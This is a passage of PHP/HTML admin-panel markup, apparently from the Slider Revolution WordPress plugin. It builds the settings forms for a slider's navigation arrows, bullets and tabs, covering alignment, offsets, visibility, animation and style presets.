						<option value="zoomout"><?php _e('Zoom Out', 'revslider');?></option>
					</select>					
				</div>
			</div>

			<div id="form_nav_arrows_right" class="form_inner open" >
				<div class="form_inner_header"><i class="material-icons">arrow_forward</i><?php _e('Right Arrow', 'revslider');?></div>
				<!--<div class="form_intoaccordion" data-trigger="#sr_na_arr_13"><i class="material-icons">arrow_drop_down</i></div>-->
				<div class="collapsable">					
					<label_a><?php _e('Aligned by', 'revslider');?></label_a>
					<div class="radiooption">
						<div><input class="sliderinput easyinit" data-evt="sliderNavPositionUpdate" data-evtparam="arrows" type="radio" value="slider" name="sr_rightarralign" data-r="nav.arrows.right.align"><label_sub><?php _e('Module Dimension', 'revslider');?></label_sub></div>
						<div><input class="sliderinput easyinit" data-evt="sliderNavPositionUpdate" data-evtparam="arrows" type="radio" value="grid" name="sr_rightarralign" data-r="nav.arrows.right.align"><label_sub><?php _e('Content', 'revslider');?></label_sub></div>
					</div>
					<div class="div20"></div>

					<select style="display:none" data-evt="sliderNavPositionUpdate" data-evtparam="arrows" id="sr_rightarrhor" data-unselect=".right_arrow_position_selector" data-select="#right_arrow_position_selector_*val*-*RVAL*" data-rval="settings.nav.arrows.right.vertical" class="sliderinput easyinit" data-r="nav.arrows.right.horizontal" data-triggerinp="#nav_arrows_right_offsetx"  data-triggerinpval="0"><option value="left"><?php _e('Left', 'revslider');?></option><option value="center"><?php _e('Center', 'revslider');?></option><option value="right"><?php _e('Right', 'revslider');?></option></select>
					<select style="display:none" data-evt="sliderNavPositionUpdate" data-evtparam="arrows" id="sr_rightarrver" data-unselect=".right_arrow_position_selector" data-select="#right_arrow_position_selector_*RVAL*-*val*" data-rval="settings.nav.arrows.right.horizontal" class="sliderinput easyinit" data-r="nav.arrows.right.vertical" data-triggerinp="#nav_arrows_right_offsety"  data-triggerinpval="0"><option value="top"><?php _e('Top', 'revslider');?></option><option value="center"><?php _e('Center', 'revslider');?></option><option value="bottom"><?php _e('Bottom', 'revslider');?></option></select>
					<row class="direktrow">
						<onelong>
							<label_a><?php _e('Aligment', 'revslider');?></label_a>
							<div class="bg_alignselector_wrap">
								<div class="bg_align_row">
									<div data-type="arrows" class="navaligntrigger right_arrow_position_selector bg_alignselector" data-select="#sr_rightarrhor,#sr_rightarrver" data-val="left,top" id="right_arrow_position_selector_left-top"></div>
									<div data-type="arrows" class="navaligntrigger right_arrow_position_selector bg_alignselector" data-select="#sr_rightarrhor,#sr_rightarrver" data-val="center,top" id="right_arrow_position_selector_center-top"></div>
									<div data-type="arrows" class="navaligntrigger right_arrow_position_selector bg_alignselector" data-select="#sr_rightarrhor,#sr_rightarrver" data-val="right,top" id="right_arrow_position_selector_right-top"></div>
								</div>
								<div class="bg_align_row">
									<div data-type="arrows" class="navaligntrigger right_arrow_position_selector bg_alignselector" data-select="#sr_rightarrhor,#sr_rightarrver" data-val="left,center" id="right_arrow_position_selector_left-center"></div>
									<div data-type="arrows" class="navaligntrigger right_arrow_position_selector bg_alignselector" data-select="#sr_rightarrhor,#sr_rightarrver" data-val="center,center" id="right_arrow_position_selector_center-center"></div>
									<div data-type="arrows" class="navaligntrigger right_arrow_position_selector bg_alignselector" data-select="#sr_rightarrhor,#sr_rightarrver" data-val="right,center" id="right_arrow_position_selector_right-center"></div>
								</div>
								<div class="bg_align_row">
									<div data-type="arrows" class="navaligntrigger right_arrow_position_selector bg_alignselector" data-select="#sr_rightarrhor,#sr_rightarrver" data-val="left,bottom" id="right_arrow_position_selector_left-bottom"></div>
									<div data-type="arrows" class="navaligntrigger right_arrow_position_selector bg_alignselector" data-select="#sr_rightarrhor,#sr_rightarrver" data-val="center,bottom" id="right_arrow_position_selector_center-bottom"></div>
									<div data-type="arrows" class="navaligntrigger right_arrow_position_selector bg_alignselector" data-select="#sr_rightarrhor,#sr_rightarrver" data-val="right,bottom" id="right_arrow_position_selector_right-bottom"></div>
								</div>
							</div>
						</onelong>

						<oneshort>
							<label_icon class="ui_x"></label_icon><input class="sliderinput valueduekeyboard  easyinit" data-r="nav.arrows.right.offsetX" data-evt="sliderNavPositionUpdate" data-evtparam="arrows" data-allowed="px" data-numeric="true"  data-min="-1200" data-max="1200" type="text" id="nav_arrows_right_offsetx" >
							<label_icon class="ui_y"></label_icon><input class="sliderinput valueduekeyboard  easyinit" data-r="nav.arrows.right.offsetY" data-evt="sliderNavPositionUpdate" data-evtparam="arrows" data-allowed="px" data-numeric="true"  data-min="-1200" data-max="1200" type="text" id="nav_arrows_right_offsety" >
						</oneshort>
					</row>
					<div class="div20"></div>
					<label_a><?php _e('Animation', 'revslider');?></label_a><select  id="sr_arrowright_animation"  data-r="nav.arrows.right.anim" class="sliderinput tos2 nosearchbox easyinit">						
						<option value="fade"><?php _e('Fade', 'revslider');?></option>
						<option value="left"><?php _e('From Left', 'revslider');?></option>
						<option value="right"><?php _e('From Right', 'revslider');?></option>
						<option value="top"><?php _e('From Top', 'revslider');?></option>
						<option value="bottom"><?php _e('From Bottom', 'revslider');?></option>
						<option value="zoomin"><?php _e('Zoom In', 'revslider');?></option>
						<option value="zoomout"><?php _e('Zoom Out', 'revslider');?></option>
					</select>					
				</div>

			</div>

			<div id="form_nav_arrows_visi" class="form_inner open" >
				<div class="form_inner_header"><i class="material-icons">visibility</i><?php _e('Visibility', 'revslider');?></div>
				<!--<div class="form_intoaccordion" data-trigger="#sr_na_arr_1"><i class="material-icons">arrow_drop_down</i></div>-->
				<div class="collapsable">					
					<label_a><?php _e('RTL Direction', 'revslider');?></label_a><input type="checkbox"  id="sr_arrowrtl" class="sliderinput easyinit" data-r="nav.arrows.rtl"/><span class="linebreak"></span>
					<label_a><?php _e('Show Speed', 'revslider');?></label_a><input class="sliderinput valueduekeyboard  easyinit" data-numeric="true" data-allowed="ms" data-r="nav.arrows.animSpeed" data-min="1" data-max="10000" type="text" id="nav_arrow_animSpeed"><span class="linebreak"></span>
					<label_a><?php _e('Show Delay', 'revslider');?></label_a><input class="sliderinput valueduekeyboard easyinit" data-numeric="true" data-allowed="ms" data-r="nav.arrows.animDelay" data-min="1" data-max="10000" type="text" id="nav_arrow_animDelay"><span class="linebreak"></span>
					<row class="directrow">
						<onelong><label_a><?php _e('Show Always', 'revslider');?></label_a><input type="checkbox"  id="sr_arrowsalwshow" class="sliderinput easyinit" data-r="nav.arrows.alwaysOn" data-showhide="#nav_arrows_alwaysshow" data-showhidedep="false"/></onelong>
						<oneshort id="nav_arrows_alwaysshow">
							<label_icon class="ui_desktop"></label_icon><input data-numeric="true" data-allowed="ms" class="sliderinput valueduekeyboard  easyinit" data-r="nav.arrows.hideDelay" data-min="0" data-max="5000" type="text" id="nav_arrows_hideDelay"/><span class="linebreak"></span>
							<label_icon class="ui_notebook"></label_icon><input data-numeric="true" data-allowed="ms" class="sliderinput valueduekeyboard  easyinit" data-r="nav.arrows.hideDelayMobile" data-min="0" data-max="5000" type="text" id="nav_arrows_hideDelayMobile"/>
							<div class="div10"></div>
						</oneshort>
					</row>

					<row class="direktrow">
						<onelong><label_a><?php _e('Hide Under', 'revslider');?></label_a><input type="checkbox"  id="sr_arrowshideunder" class="sliderinput easyinit" data-r="nav.arrows.hideUnder" data-showhide="#nav_arrows_hideunderlimit_wr" data-showhidedep="true"/></onelong>
						<oneshort id="nav_arrows_hideunderlimit_wr"><label_icon class="ui_maxwidth"></label_icon><input data-numeric="true" data-allowed="px" class="sliderinput valueduekeyboard  easyinit" data-r="nav.arrows.hideUnderLimit" data-min="0" data-max="2400" type="text" id="nav_arrows_hideunderlimit" ></oneshort>
					</row>

					<row class="direktrow">
						<onelong><label_a><?php _e('Hide Over', 'revslider');?></label_a><input type="checkbox"  id="sr_arrowshideover" class="sliderinput easyinit" data-r="nav.arrows.hideOver" data-showhide="#nav_arrows_hideoverlimit_wr" data-showhidedep="true"/></onelong>
						<oneshort id="nav_arrows_hideoverlimit_wr"><label_icon class="ui_minwidth"></label_icon><input data-numeric="true" data-allowed="px" class="sliderinput valueduekeyboard  easyinit" data-r="nav.arrows.hideOverLimit" data-min="0" data-max="2400" type="text" id="nav_arrows_hideoverlimit" ></oneshort>
					</row>
				</div>
			</div>

			<div id="form_nav_arrows_style" class="form_inner open">
				<div class="form_inner_header"><i class="material-icons">palette</i><?php _e('Navigation Style', 'revslider');?></div>
				<div class="collapsable">
					<div id="sr_arrows_styles_fieldset"></div>
				</div>
			</div>

			<div id="form_nav_arrows_style" class="form_inner open">
				<div class="form_inner_header"><i class="material-icons">palette</i><?php _e('Global Style Presets', 'revslider');?></div>
				<!--<div class="form_intoaccordion" data-trigger="#sr_na_arr_2"><i class="material-icons">arrow_drop_down</i></div>-->
				<div class="collapsable">
					<label_a><?php _e('Preset', 'revslider');?></label_a><select id="sr_arrows_style_preset" data-tags="true" data-r="nav.arrows.preset" class="sliderinput tos2 searchbox easyinit" ></select><span class="linebreak"></span>
					<label_a></label_a><div data-evt="sliderNavPreset" data-evtparam="arrows" class="callEventButton basic_action_button autosize"><i class="material-icons">save</i><?php _e('Load', 'revslider');?></div>
					<div data-evt="saveNavPreset" data-evtparam="arrows" class="callEventButton basic_action_button autosize"><i class="material-icons">save</i><?php _e('Save', 'revslider');?></div><span class="linebreak"></span>
					<label_a></label_a><div data-evt="deleteNavPreset" data-evtparam="arrows" class="callEventButton basic_action_button autosize"><i class="material-icons">delete</i><?php _e('Delete', 'revslider');?></div>
				</div>
			</div>

			<!-- SLIDE LOCAL ARROWS SETTING -->
			<div id="form_slide_nav_arrows" class="form_inner open form_menu_inside">
				<div class="form_inner_header"><i class="material-icons">texture</i><?php _e('Override Style on Slide', 'revslider');?></div>
				<!--<div class="form_intoaccordion" data-trigger="#sr_na_arr_21"><i class="material-icons">arrow_drop_down</i></div>-->
				<div class="collapsable carouselenable standardenable herodisable">
					<div id="sl_arrows_styles_fieldset"></div>
				</div>
			</div><!-- END OF SLIDE ARROWS CHANGES -->
		</div>

		<!--  BULLETS SETTING -->
		<div id="form_nav_bullets" data-select="#gst_nav_3" data-unselect=".nav_submodule_trigger" class="formcontainer form_menu_inside carouselenable standardenable herodisable collapsed">
			<div class="collectortabwrap"><div id="collectortab_form_nav_bull" class="collectortab form_menu_inside" data-forms='["#form_nav_bullets"]'><i class="material-icons">more_horiz</i><?php _e('Bullets', 'revslider');?></div></div>
			<!--<div id="nav_bullets_settings_arrow" class="form_intoaccordion"><i class="material-icons">arrow_drop_down</i></div>-->
			<ul class="form_menu_level_1">
				<li data-target="#form_nav_bullets_mainstyle" class="form_menu_level_1_li" id="sr_na_bul_0"><?php _e('Style', 'revslider');?></li>
				<li data-target="#form_nav_bullets_visi" class="selected form_menu_level_1_li" id="sr_na_bul_1"><?php _e('Visibility', 'revslider');?></li>
				<li data-target="#form_nav_bullets_posi" class="selected form_menu_level_1_li" id="sr_na_bul_11"><?php _e('Position', 'revslider');?></li>
				<li data-target="#form_nav_bullets_style" class="form_menu_level_1_li" id="sr_na_bul_2"><?php _e('Style', 'revslider');?></li>
				<li data-target="#form_slide_nav_bullets" class="form_menu_level_1_li" id="sr_na_bul_21"><?php _e('Style', 'revslider');?></li>
			</ul>

			<div id="form_nav_bullets_mainstyle" class="form_inner form_menu_inside open">
				<div class="form_inner_header"><i class="material-icons">opacity</i><?php _e('Bullets Type', 'revslider');?></div>
				<div class="on_off_navig_wrap"><input type="checkbox"  id="sr_usenavbullets" class="sliderinput easyinit nav-enable" data-evt="sliderNavUpdate" data-evtparam="bullets" data-showhide="#bullets_style_collapsable, #form_nav_bullets_posi, #form_nav_bullets_visi,#form_nav_bullets_style, #form_slide_nav_bullets" data-showhidedep="true" data-r="nav.bullets.set"/></div>
				<!--<div class="form_intoaccordion" data-trigger="#sr_na_bul_0"><i class="material-icons">arrow_drop_down</i></div>-->
				<div id="bullets_style_collapsable" class="collapsable">
					<label_a><?php _e('Bullets Style', 'revslider');?></label_a><select  id="sr_bullets_style"  data-evt="sliderNavUpdate" data-evtparam="bullets" data-r="nav.bullets.style"  class="sliderinput tos2 nosearchbox easyinit sr_nav_style_tos">
						<option value=""><?php _e('No Style', 'revslider');?></option>
					</select>
				</div>
			</div>

			<div id="form_nav_bullets_posi" class="form_inner form_menu_inside open">
				<div class="form_inner_header"><i class="material-icons">open_with</i><?php _e('Position', 'revslider');?></div>
				<!--<div class="form_intoaccordion" data-trigger="#sr_na_bul_11"><i class="material-icons">arrow_drop_down</i></div>-->
				<div class="collapsable">
					<label_a><?php _e('Gap', 'revslider');?></label_a><input class="sliderinput valueduekeyboard  easyinit" data-evt="sliderNavPositionUpdate" data-evtparam="bullets" data-r="nav.bullets.space" data-min="-100" data-max="500" type="text" id="nav_bullets_space" ><span class="linebreak"></span>
					<label_a><?php _e('Orientation', 'revslider');?></label_a>
					<div class="radiooption">
						<input class="sliderinput easyinit" type="radio" name="sr_bulletdirection" data-evt="sliderNavPositionUpdate" data-evtparam="bullets" data-r="nav.bullets.direction" value="horizontal"><label_sub><?php _e('Horizontal', 'revslider');?></label_sub><span class="linebreak"></span>
						<input class="sliderinput easyinit" type="radio" name="sr_bulletdirection" data-evt="sliderNavPositionUpdate" data-evtparam="bullets" data-r="nav.bullets.direction" value="vertical"><label_sub><?php _e('Vertical', 'revslider');?></label_sub>
					</div>
					<div class="div10"></div>

					<!-- BULLETS POSITION -->
					<label_a><?php _e('Aligned by', 'revslider');?></label_a>
					<div class="radiooption">
						<input class="sliderinput easyinit" type="radio" name="sr_bulletsalign" data-evt="sliderNavPositionUpdate" data-evtparam="bullets" data-r="nav.bullets.align" value="slider"><label_sub><?php _e('Module Dimension', 'revslider');?></label_sub><span class="linebreak"></span>
						<input class="sliderinput easyinit" type="radio" name="sr_bulletsalign" data-evt="sliderNavPositionUpdate" data-evtparam="bullets" data-r="nav.bullets.align" value="grid"><label_sub><?php _e('Content', 'revslider');?></label_sub>
					</div>
					<div class="div20"></div>

					<select style="display:none" data-evt="sliderNavPositionUpdate" data-evtparam="bullets" id="sr_bulletshor" data-unselect=".bulletspos_selector" data-select="#bulletspos_selector_*val*-*RVAL*" data-rval="settings.nav.bullets.vertical" class="sliderinput easyinit" data-r="nav.bullets.horizontal" data-triggerinp="#nav_bullets_offsetx" data-triggerinpval="0"><option value="left"><?php _e('Left', 'revslider');?></option><option value="center"><?php _e('Center', 'revslider');?></option><option value="right"><?php _e('Right', 'revslider');?></option></select>
					<select style="display:none" data-evt="sliderNavPositionUpdate" data-evtparam="bullets" id="sr_bulletsver" data-unselect=".bulletspos_selector" data-select="#bulletspos_selector_*RVAL*-*val*" data-rval="settings.nav.bullets.horizontal" class="sliderinput easyinit" data-r="nav.bullets.vertical" data-triggerinp="#nav_bullets_offsety" data-triggerinpval="0"><option value="top"><?php _e('Top', 'revslider');?></option><option value="center"><?php _e('Center', 'revslider');?></option><option value="bottom"><?php _e('Bottom', 'revslider');?></option></select>
					<row class="direktrow">
						<onelong>
							<label_a><?php _e('Aligment', 'revslider');?></label_a>
							<div class="bg_alignselector_wrap">
								<div class="bg_align_row">
									<div data-type="bullets" class="navaligntrigger bulletspos_selector bg_alignselector" data-select="#sr_bulletshor,#sr_bulletsver" data-val="left,top" id="bulletspos_selector_left-top"></div>
									<div data-type="bullets" class="navaligntrigger bulletspos_selector bg_alignselector" data-select="#sr_bulletshor,#sr_bulletsver" data-val="center,top" id="bulletspos_selector_center-top"></div>
									<div data-type="bullets" class="navaligntrigger bulletspos_selector bg_alignselector" data-select="#sr_bulletshor,#sr_bulletsver" data-val="right,top" id="bulletspos_selector_right-top"></div>
								</div>
								<div class="bg_align_row">
									<div data-type="bullets" class="navaligntrigger bulletspos_selector bg_alignselector" data-select="#sr_bulletshor,#sr_bulletsver" data-val="left,center" id="bulletspos_selector_left-center"></div>
									<div data-type="bullets" class="navaligntrigger bulletspos_selector bg_alignselector" data-select="#sr_bulletshor,#sr_bulletsver" data-val="center,center" id="bulletspos_selector_center-center"></div>
									<div data-type="bullets" class="navaligntrigger bulletspos_selector bg_alignselector" data-select="#sr_bulletshor,#sr_bulletsver" data-val="right,center" id="bulletspos_selector_right-center"></div>
								</div>
								<div class="bg_align_row">
									<div data-type="bullets" class="navaligntrigger bulletspos_selector bg_alignselector" data-select="#sr_bulletshor,#sr_bulletsver" data-val="left,bottom" id="bulletspos_selector_left-bottom"></div>
									<div data-type="bullets" class="navaligntrigger bulletspos_selector bg_alignselector" data-select="#sr_bulletshor,#sr_bulletsver" data-val="center,bottom" id="bulletspos_selector_center-bottom"></div>
									<div data-type="bullets" class="navaligntrigger bulletspos_selector bg_alignselector" data-select="#sr_bulletshor,#sr_bulletsver" data-val="right,bottom" id="bulletspos_selector_right-bottom"></div>
								</div>
							</div>
						</onelong>
						<oneshort>
							<label_icon class="ui_x"></label_icon><input class="sliderinput valueduekeyboard  easyinit" data-r="nav.bullets.offsetX" data-evt="sliderNavPositionUpdate" data-numeric="true" data-allowed="px" data-evtparam="bullets" data-min="-1200" data-max="1200" type="text" id="nav_bullets_offsetx">
							<label_icon class="ui_y"></label_icon><input class="sliderinput valueduekeyboard  easyinit" data-r="nav.bullets.offsetY" data-evt="sliderNavPositionUpdate" data-numeric="true" data-allowed="px" data-evtparam="bullets" data-min="-1200" data-max="1200" type="text" id="nav_bullets_offsety">
						</oneshort>
					</row>
				</div>
			</div>

			<div id="form_nav_bullets_visi" class="form_inner form_menu_inside open">
				<div class="form_inner_header"><i class="material-icons">visibility</i><?php _e('Bullets Visibility', 'revslider');?></div>
				<!--<div class="form_intoaccordion" data-trigger="#sr_na_bul_1"><i class="material-icons">arrow_drop_down</i></div>-->
				<div class="collapsable">
					<label_a><?php _e('Animation', 'revslider');?></label_a><select  id="sr_bullets_animation"  data-r="nav.bullets.anim" class="sliderinput tos2 nosearchbox easyinit">						
						<option value="fade"><?php _e('Fade', 'revslider');?></option>
						<option value="left"><?php _e('From Left', 'revslider');?></option>
						<option value="right"><?php _e('From Right', 'revslider');?></option>
						<option value="top"><?php _e('From Top', 'revslider');?></option>
						<option value="bottom"><?php _e('From Bottom', 'revslider');?></option>
						<option value="zoomin"><?php _e('Zoom In', 'revslider');?></option>
						<option value="zoomout"><?php _e('Zoom Out', 'revslider');?></option>
					</select>
					<label_a><?php _e('Show Speed', 'revslider');?></label_a><input class="sliderinput valueduekeyboard  easyinit" data-numeric="true" data-allowed="ms" data-r="nav.bullets.animSpeed" data-min="1" data-max="10000" type="text" id="nav_bullet_animSpeed"><span class="linebreak"></span>
					<label_a><?php _e('Show Delay', 'revslider');?></label_a><input class="sliderinput valueduekeyboard easyinit" data-numeric="true" data-allowed="ms" data-r="nav.bullets.animDelay" data-min="1" data-max="10000" type="text" id="nav_bullet_animDelay"><span class="linebreak"></span>
					<div class="div10"></div>
					<label_a><?php _e('RTL Direction', 'revslider');?></label_a><input type="checkbox"  id="sr_bulletrtl" class="sliderinput easyinit" data-r="nav.bullets.rtl"/><span class="linebreak"></span>
					<row class="directrow">
						<onelong><label_a><?php _e('Show Always', 'revslider');?></label_a><input type="checkbox"  id="sr_bulletsalwshow" class="sliderinput easyinit" data-r="nav.bullets.alwaysOn" data-showhide="#nav_bullets_alwaysshow" data-showhidedep="false"/></onelong>
						<oneshort id="nav_bullets_alwaysshow">
							<label_icon class="ui_desktop"></label_icon><input data-numeric="true" data-allowed="ms" class="sliderinput valueduekeyboard  easyinit" data-r="nav.bullets.hideDelay" data-min="0" data-max="5000" type="text" id="nav_bullets_hideDelay"/><span class="linebreak"></span>
							<label_icon class="ui_notebook"></label_icon><input data-numeric="true" data-allowed="ms" class="sliderinput valueduekeyboard  easyinit" data-r="nav.bullets.hideDelayMobile" data-min="0" data-max="5000" type="text" id="nav_bullets_hideDelayMobile"/>
							<div class="div10"></div>
						</oneshort>
					</row>

					<row class="direktrow">
						<onelong><label_a><?php _e('Hide Under', 'revslider');?></label_a><input type="checkbox"  id="sr_bulletshideunder" class="sliderinput easyinit" data-r="nav.bullets.hideUnder" data-showhide="#nav_bullets_hideunderlimit_wr" data-showhidedep="true"/></onelong>
						<oneshort id="nav_bullets_hideunderlimit_wr"><label_icon class="ui_maxwidth"></label_icon><input data-numeric="true" data-allowed="px" class="sliderinput valueduekeyboard  easyinit" data-r="nav.bullets.hideUnderLimit" data-min="0" data-max="2400" type="text" id="nav_bullets_hideunderlimit" ></oneshort>
					</row>

					<row class="direktrow">
						<onelong><label_a><?php _e('Hide Over', 'revslider');?></label_a><input type="checkbox"  id="sr_bulletshideover" class="sliderinput easyinit" data-r="nav.bullets.hideOver" data-showhide="#nav_bullets_hideoverlimit_wr" data-showhidedep="true"/></onelong>
						<oneshort id="nav_bullets_hideoverlimit_wr"><label_icon class="ui_minwidth"></label_icon><input data-numeric="true" data-allowed="px" class="sliderinput valueduekeyboard  easyinit" data-r="nav.bullets.hideOverLimit" data-min="0" data-max="2400" type="text" id="nav_bullets_hideoverlimit" ></oneshort>
					</row>
				</div>
			</div>

			<div id="form_nav_bullets_style" class="form_inner form_menu_inside open">
				<div class="form_inner_header"><i class="material-icons">palette</i><?php _e('Navigation Style', 'revslider');?></div>
				<div class="collapsable">
					<div id="sr_bullets_styles_fieldset"></div>
				</div>
			</div>

			<div id="form_nav_bullets_style" class="form_inner open">
				<div class="form_inner_header"><i class="material-icons">palette</i><?php _e('Global Style Presets', 'revslider');?></div>
				<!--<div class="form_intoaccordion" data-trigger="#sr_na_arr_2"><i class="material-icons">arrow_drop_down</i></div>-->
				<div class="collapsable">
					<label_a><?php _e('Preset', 'revslider');?></label_a><select id="sr_bullets_style_preset" data-tags="true" data-r="nav.bullets.preset" class="sliderinput tos2 searchbox easyinit" ></select>
					<label_a></label_a><div data-evt="sliderNavPreset" data-evtparam="bullets" class="callEventButton basic_action_button autosize"><i class="material-icons">save</i><?php _e('Load', 'revslider');?></div>
					<div data-evt="saveNavPreset" data-evtparam="bullets" class="callEventButton basic_action_button autosize"><i class="material-icons">save</i><?php _e('Save', 'revslider');?></div><span class="linebreak"></span>
					<label_a></label_a><div data-evt="deleteNavPreset" data-evtparam="bullets" class="callEventButton basic_action_button autosize"><i class="material-icons">delete</i><?php _e('Delete', 'revslider');?></div>
				</div>
			</div>

			<!-- SLIDE LOCAL BULLETS STYLE-->
			<div id="form_slide_nav_bullets" class="form_inner form_menu_inside open">
				<!-- SLIDE BULLETS SETTING -->
				<div class="form_inner_header"><i class="material-icons">texture</i><?php _e('Override Style on Slide', 'revslider');?></div>
				<!--<div class="form_intoaccordion" data-trigger="#sr_na_bul_21"><i class="material-icons">arrow_drop_down</i></div>-->

				<div class="collapsable carouselenable standardenable herodisable">
					<div id="sl_bullets_styles_fieldset">
					</div>
				</div>

			</div><!-- END OF SLIDE LOCAL BULLERS STYLE-->
		</div><!-- END OF BULLETS SETTINGS -->


		<!--  TABS SETTING -->
		<div id="form_nav_tabs" data-select="#gst_nav_4" data-unselect=".nav_submodule_trigger" class="formcontainer form_menu_inside carouselenable standardenable herodisable collapsed">
			<div class="collectortabwrap"><div id="collectortab_form_nav_tab" class="collectortab form_menu_inside" data-forms='["#form_nav_tabs"]'><i class="material-icons">view_column</i><?php _e('Tabs', 'revslider');?></div></div>

			<!--<div id="nav_tabs_settings_arrow" class="form_intoaccordion"><i class="material-icons">arrow_drop_down</i></div>-->
			<ul class="form_menu_level_1">
				<li data-target="#form_nav_tabs_mainstyle" class="selected form_menu_level_1_li" id="sr_na_tab_0"><?php _e('Main Style', 'revslider');?></li>
				<li data-target="#form_nav_tabs_visi" class="selected form_menu_level_1_li" id="sr_na_tab_1"><?php _e('Visibility', 'revslider');?></li>
				<li data-target="#form_nav_tabs_posi" class="selected form_menu_level_1_li" id="sr_na_tab_11"><?php _e('Position', 'revslider');?></li>
				<li data-target="#form_nav_tabs_size" class="selected form_menu_level_1_li" id="sr_na_tab_12"><?php _e('Size', 'revslider');?></li>
				<li data-target="#form_nav_tabs_offsets" class="selected form_menu_level_1_li" id="sr_na_tab_19"><?php _e('Mask', 'revslider');?></li>
				<li data-target="#form_nav_tabs_wrap" class="selected form_menu_level_1_li" id="sr_na_tab_13"><?php _e('Wrapper', 'revslider');?></li>
				<li data-target="#form_nav_tabs_style" class="form_menu_level_1_li" id="sr_na_tab_2"><?php _e('Style', 'revslider');?></li>
				<li data-target="#form_slide_nav_tabs" class="form_menu_level_1_li" id="sr_na_tab_21"><?php _e('Style', 'revslider');?></li>
			</ul>

			<div id="form_nav_tabs_mainstyle" class="form_inner form_menu_inside open">
				<div class="form_inner_header"><i class="material-icons">opacity</i><?php _e('Tabs Type', 'revslider');?></div>
				<div class="on_off_navig_wrap"><input type="checkbox"  id="sr_usenavtabs" class="sliderinput easyinit nav-enable" data-evt="sliderNavUpdate" data-evtparam="tabs" data-showhide="#tabs_style_collapsable, #form_nav_tabs_posi,#form_nav_tabs_size,#form_nav_tabs_offsets,  #form_nav_tabs_wrap, #form_nav_tabs_visi, #form_nav_tabs_style, #form_slide_nav_tabs" data-showhidedep="true"  data-r="nav.tabs.set" /></div>
				<!--<div class="form_intoaccordion" data-trigger="#sr_na_tab_0"><i class="material-icons">arrow_drop_down</i></div>-->
				<div id="tabs_style_collapsable" class="collapsable">
					<label_a><?php _e('Tabs Style', 'revslider');?></label_a><select  id="sr_tabs_style"  data-evt="sliderNavUpdate" data-evtparam="tabs" data-r="nav.tabs.style" class="sliderinput tos2 nosearchbox easyinit sr_nav_style_tos">
						<option value=""><?php _e('No Style', 'revslider');?></option>
					</select>
				</div>
			</div>

			<div id="form_nav_tabs_posi" class="form_inner form_menu_inside open">
				<div class="form_inner_header"><i class="material-icons">open_with</i><?php _e('Position', 'revslider');?></div>
				<!--<div class="form_intoaccordion" data-trigger="#sr_na_tab_11"><i class="material-icons">arrow_drop_down</i></div>-->
				<div class="collapsable">
					<label_a><?php _e('Orientation', 'revslider');?></label_a>
					<div class="radiooption">
						<input class="sliderinput easyinit" type="radio" name="sr_tabsdirection" data-evt="sliderNavPositionUpdate" data-evtparam="tabs" data-r="nav.tabs.direction" value="horizontal"><label_sub><?php _e('Horizontal', 'revslider');?></label_sub><span class="linebreak"></span>
						<input class="sliderinput easyinit" type="radio" name="sr_tabsdirection" data-evt="sliderNavPositionUpdate" data-evtparam="tabs" data-r="nav.tabs.direction" value="vertical"><label_sub><?php _e('Vertical', 'revslider');?></label_sub>
					</div>
					<div class="div10"></div>

					<!-- TABS POSITION -->
					<label_a><?php _e('Aligned by', 'revslider');?></label_a>
					<div class="radiooption">
						<input class="sliderinput easyinit" type="radio" name="sr_tabsalign" data-evt="sliderNavPositionUpdate" data-evtparam="tabs" data-r="nav.tabs.align" value="slider"><label_sub><?php _e('Module Dimension', 'revslider');?></label_sub><span class="linebreak"></span>
						<input class="sliderinput easyinit" type="radio" name="sr_tabsalign" data-evt="sliderNavPositionUpdate" data-evtparam="tabs" data-r="nav.tabs.align" value="grid"><label_sub><?php _e('Content', 'revslider');?></label_sub>
					</div>
					<div class="div10"></div>


					<label_a><?php _e('Inner / Outer', 'revslider');?></label_a>
					<div class="radiooption">
						<input class="sliderinput easyinit" type="radio" name="sr_tabsinnerouter" data-evt="navinnerouter" data-evtparam="tabs" data-r="nav.tabs.innerOuter" value="inner"><label_sub><?php _e('Inner', 'revslider');?></label_sub><span class="linebreak"></span>
						<input class="sliderinput easyinit" type="radio" name="sr_tabsinnerouter" data-evt="navinnerouter" data-evtparam="tabs" data-r="nav.tabs.innerOuter" value="outer-vertical"><label_sub><?php _e('Outer Vertical', 'revslider');?></label_sub><span class="linebreak"></span>
						<input class="sliderinput easyinit" type="radio" name="sr_tabsinnerouter" data-evt="navinnerouter" data-evtparam="tabs" data-r="nav.tabs.innerOuter" value="outer-horizontal"><label_sub><?php _e('Outer Horizontal', 'revslider');?></label_sub>
					</div>

					<div class="div20"></div>
					<select style="display:none" data-evt="sliderNavPositionUpdate" data-evtparam="tabs" id="sr_tabshor" data-unselect=".tabspos_selector" data-select="#tabspos_selector_*val*-*RVAL*" data-rval="settings.nav.tabs.vertical" class="sliderinput easyinit" data-r="nav.tabs.horizontal" data-triggerinp="#nav_tabs_offsetx" data-triggerinpval="0"><option value="left"><?php _e('Left', 'revslider');?></option><option value="center"><?php _e('Center', 'revslider');?></option><option value="right"><?php _e('Right', 'revslider');?></option></select>
					<select style="display:none" data-evt="sliderNavPositionUpdate" data-evtparam="tabs" id="sr_tabsver" data-unselect=".tabspos_selector" data-select="#tabspos_selector_*RVAL*-*val*" data-rval="settings.nav.tabs.horizontal" class="sliderinput easyinit" data-r="nav.tabs.vertical" data-triggerinp="#nav_tabs_offsety" data-triggerinpval="0"><option value="top"><?php _e('Top', 'revslider');?></option><option value="center"><?php _e('Center', 'revslider');?></option><option value="bottom"><?php _e('Bottom', 'revslider');?></option></select>
					<row class="direktrow">
						<onelong>
							<label_a><?php _e('Aligment', 'revslider');?></label_a>
							<div class="bg_alignselector_wrap">
								<div class="bg_align_row">
									<div data-type="tabs" class="navaligntrigger tabspos_selector bg_alignselector" data-select="#sr_tabshor,#sr_tabsver" data-val="left,top" id="tabspos_selector_left-top"></div>
									<div data-type="tabs" class="navaligntrigger tabspos_selector bg_alignselector" data-select="#sr_tabshor,#sr_tabsver" data-val="center,top" id="tabspos_selector_center-top"></div>
									<div data-type="tabs" class="navaligntrigger tabspos_selector bg_alignselector" data-select="#sr_tabshor,#sr_tabsver" data-val="right,top" id="tabspos_selector_right-top"></div>
								</div>
								<div class="bg_align_row">
									<div data-type="tabs" class="navaligntrigger tabspos_selector bg_alignselector" data-select="#sr_tabshor,#sr_tabsver" data-val="left,center" id="tabspos_selector_left-center"></div>
									<div data-type="tabs" class="navaligntrigger tabspos_selector bg_alignselector" data-select="#sr_tabshor,#sr_tabsver" data-val="center,center" id="tabspos_selector_center-center"></div>
